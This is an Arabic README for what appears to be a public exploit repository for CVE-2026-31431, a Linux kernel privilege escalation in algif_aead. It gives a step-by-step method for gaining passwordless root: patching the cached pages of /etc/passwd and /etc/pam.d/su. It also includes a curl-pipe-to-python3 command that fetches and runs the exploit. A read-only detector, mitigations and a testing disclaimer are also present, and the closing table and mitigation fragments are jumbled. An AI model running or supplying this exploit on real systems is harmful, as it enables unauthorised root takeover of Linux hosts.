
استغلال تصعيد الامتيازات المحلية لثغرة CVE-2026-31431 في وحدة algif_aead بنواة لينكس، باستخدام splice لاستبدال ذاكرة التخزين المؤقت للصفحات والحصول على صلاحيات الجذر. يتضمن كاشفًا للقراءة فقط.
CVE-2026-31431 هي ثغرة تصعيد امتيازات محلية في نظام algif_aead الفرعي بنواة لينكس. يقوم تطبيق AEAD authencesn بإجراء فك تشفير في المكان عبر splice(2)، واضعًا صفحة من ذاكرة التخزين المؤقت للصفحات في قائمة التشتت الوجهة. تتم كتابة قيمة 4 بايت من AAD (seqno_lo) مرة أخرى في صفحة ذاكرة التخزين المؤقت تلك قبل التحقق من علامة المصادقة — مما يسمح لمستخدم غير مميز بالكتابة فوق أي بايتات عشوائية من ذاكرة التخزين المؤقت للصفحات لأي ملف قابل للقراءة عالميًا.
قابلة للاستغلال منذ: النواة 4.14 (أغسطس 2017) — عندما تم إدخال authencesn إلى algif_aead
تم إصدار إصلاحات لـ: خطوط 6.12 و6.17 و6.18 المستقرة فقط
غير مُصلحة بشكل دائم: النواة 4.14–6.11 (منتهية الدعم؛ لن يتم إصدار أي backport)
البدائيات المطلوبة: مقبس AF_ALG، تشفير authencesn(hmac(sha256),cbc(aes))، splice(2) في واصف ملف مقبس AF_ALG
التأثير: تصعيد امتيازات محلي إلى الجذر — آلي بالكامل، بدون كلمة مرور
يُطبق الاستغلال تصحيحين لذاكرة التخزين المؤقت للصفحات بالتسلسل، ثم ينفذ su تلقائيًا:
تصحيح /etc/passwd — يفتح الملف (قابل للقراءة عالميًا)، ويملأ ذاكرة التخزين المؤقت للصفحات الخاصة به، ثم يستخدم بدائية splice الخاصة بـ authencesn لقلب حقل UID المكون من 4 أرقام للمستخدم الجاري إلى 0000. بعد التصحيح، يُبلغ getpwnam() عن المستخدم بأنه UID 0.
تصحيح /etc/pam.d/su — كل من pam_rootok.so وpam_permit.so يتكونان من 13 حرفًا بالضبط. كتابتان من 4 بايت تستبدلان pam_rootok.so بـ pam_permit.so في ذاكرة التخزين المؤقت للصفحات الخاصة بإعدادات PAM. نظرًا لأن pam_permit يُرجع دائمًا PAM_SUCCESS، فإن سطر auth sufficient الموجود يُطلق فورًا — بدون أي مطالبة بكلمة مرور.
صدفة تلقائية — ينفذ السكربت . تتحقق PAM من المصادقة بدون كلمة مرور (الخطوة 2)، ثم ينجح لأن يُبلغ عن UID 0 (الخطوة 1). يتم إرجاع صدفة جذر بدون أي تفاعل من المستخدم.
لا تحدث أي كتابات على القرص في أي نقطة. إسقاط ذاكرة التخزين المؤقت للصفحات (echo 3 > /proc/sys/vm/drop_caches) أو إعادة التشغيل يعيدان كلا التصحيحين بالكامل.
لأغراض الاختبار المصرح به فقط. شغّل فقط على المضيفات التي تملكها أو التي لديك تفويض صريح لتقييمها.
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
يتم إرجاع صدفة جذر تلقائيًا — بدون حاجة لكلمة مرور.
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG مفعّل (قياسي في معظم التوزيعات)authencesn(hmac(sha256),cbc(aes)) قابل للتحميل (قياسي في معظم التوزيعات)test_cve_2026_31431.py هو كاشف آمن للقراءة فقط فقط مرفق في هذا المستودع. يختبر بدائية splice الخاصة بـ algif_aead ضد ملف حارس يُتخلص منه ينشئه في دليل مؤقت — لا يتم لمس أي ملف نظام أبدًا. يطبع حكمًا ويخرج برمز حالة محدد جيدًا:
| رمز الخروج | المعنى |
|---|---|
0 | غير معرض — لم يتم استيفاء الشرط المسبق أو لم يتم تعديل ذاكرة التخزين المؤقت للصفحات |
تشغيله:
# سطر واحد (بدون تثبيت مطلوب)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"
# أو من نسخة محلية
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"
مثال على الإخراج على نواة معرضة:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.
مثال على الإخراج على نواة مُصلحة:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
algif_aead عبر /etc/modprobe.d: install algif_aead /bin/falseAF_ALG باستخدام seccomp أو سياسة LSM.net/tls + crypto/algif_aead — عزل قائمة التشتت الوجهة في المكان لـ authencesnsu <user>setuid(0)getpwnam()1 | خطأ في الاختبار (مثل عدم توفر AF_ALG، عدم دعم splice) |
2 | معرض — هبطت بايتات العلامة في صفحة ذاكرة التخزين المؤقت المُدمجة |